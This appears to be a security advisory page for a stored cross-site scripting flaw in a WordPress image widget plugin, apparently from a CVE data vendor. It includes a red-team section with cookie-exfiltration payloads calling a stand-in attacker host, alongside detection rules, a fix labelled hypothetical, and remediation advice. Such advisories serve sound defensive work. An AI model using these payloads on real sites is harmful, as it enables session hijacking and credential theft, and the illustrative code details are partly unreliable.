CVE-2025-58858
Executive Summary
CVE-2025-58858 is a Stored Cross-Site Scripting (XSS) vulnerability in the WPB Image Widget WordPress plugin, developed by WPBean. The flaw exists in versions up to and including 1.1, where user-supplied input is not properly neutralized during web page generation. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript payloads into image widget settings. When an administrator or other user views the compromised page, the payload executes in their browser session, potentially leading to session hijacking, credential theft, or defacement.
This vulnerability is unpatched as of the latest advisory, and the vendor has not released a fix. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk is elevated for WordPress sites with untrusted contributors.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a WordPress plugin hosted on the official WordPress Plugin Directory. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems. However, the supply chain risk is significant: if the plugin is compromised at the source, all sites using it could be affected. Administrators should monitor the plugin’s repository for any updates or security advisories.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): High (H) – Requires contributor-level or higher WordPress role.
- User Interaction (UI): Required (R) – Victim must view the compromised page.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Partial modification of content possible.
- Availability (A): Low (L) – Minor disruption possible.
CVSS Score: 6.5 (Medium)
Threat Level: Medium – Exploitation requires authenticated access, but impact can be severe if an admin is targeted.
Deep Dive & Mechanics
The WPB Image Widget plugin allows users to add image widgets with custom settings (e.g., image URL, alt text, caption). The vulnerability lies in the wpb_image_widget shortcode or widget rendering function, where user-supplied attributes are echoed directly into the HTML output without sanitization or escaping.
Root Cause:
The plugin uses echo $atts['caption'] or similar constructs without applying WordPress’s esc_html() or wp_kses_post() functions. An attacker can inject a payload like:
<img src=x onerror=alert('XSS')>
into the caption field. When the widget is rendered, the payload is stored in the database and executed in the browser of any user viewing the page.
Attack Flow:
- Attacker logs in with contributor-level access.
- Creates or edits a page/post and adds the WPB Image Widget.
- In the caption field, enters a malicious JavaScript payload.
- Publishes the page.
- Admin or other user visits the page → payload executes.
Vulnerable vs. Patched Code
Vulnerable Code (wpb-image-widget.php, line ~45):
$caption = $atts['caption'];
echo '<div class="wpb-image-caption">' . $caption . '</div>';
Patched Code (hypothetical fix):
$caption = esc_html( $atts['caption'] );
echo '<div class="wpb-image-caption">' . $caption . '</div>';
The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- WordPress instance with WPB Image Widget <= 1.1 installed.
- Contributor-level account or higher.
Exploit Steps:
- Log in as a contributor.
- Create a new post or page.
- Add the WPB Image Widget block/shortcode.
- In the caption field, inject:
<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> - Publish the page.
- Wait for an admin to view the page → cookie exfiltration.
Alternative Payload (Session Hijacking):
<script>new Image().src='https://attacker.com/steal?c='+document.cookie;</script>
Blue Team (Defensive)
Detection:
- Monitor for unusual widget caption content in the database.
- Look for HTTP requests to unknown external domains from the WordPress admin panel.
- Use WAF rules to block common XSS patterns in POST data.
Prevention:
- Apply input validation and output escaping (see Remediation).
- Restrict contributor roles to trusted users only.
- Use a Web Application Firewall (WAF) with XSS signatures.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/wpb-image-widget/wpb-image-widget.php(version <= 1.1) - Database: Rows in
wp_postsorwp_postmetacontaining<script>oronerrorin widget caption fields. - Network: Outbound HTTP requests to unknown domains from the WordPress server.
- Logs: Access logs showing
POSTrequests to/wp-admin/admin-ajax.phpwith suspicious caption data.
Detection Engineering
YARA Rule
rule wpb_image_widget_stored_xss {
meta:
description = "Detects malicious payloads in WPB Image Widget caption fields"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-58858"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
$xss3 = /onload\s*=\s*["']?[^"']*["']?/i
condition:
any of them
}
Sigma Rule
title: WPB Image Widget Stored XSS Detection
id: 9a8b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS payloads in WPB Image Widget caption fields
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=wpb_image_widget_save'
cs-uri-query|re: 'caption=.*(<script|onerror|onload)'
condition: selection
falsepositives:
- Legitimate use of HTML in captions (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-58858 - WPB Image Widget Stored XSS Payload";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/admin-ajax.php"; http_uri;
content:"action=wpb_image_widget_save"; http_client_body;
pcre:"/caption=.*(<script|onerror|onload)/i";
sid:10000001;
rev:1;
reference:cve,2025-58858;
classtype:web-application-attack;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is available.
- Remove or sanitize any existing widget captions that contain HTML/JavaScript.
- Audit user roles – ensure only trusted users have contributor access.
Long-term Fix:
- Replace the vulnerable plugin with an alternative image widget that is actively maintained.
- If you must keep the plugin, manually patch the code:
- In
wpb-image-widget.php, wrap all output withesc_html()orwp_kses_post(). - Example:
echo '<div class="wpb-image-caption">' . esc_html( $caption ) . '</div>';
- In
Workaround:
- Use a Content Security Policy (CSP) header to block inline scripts:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.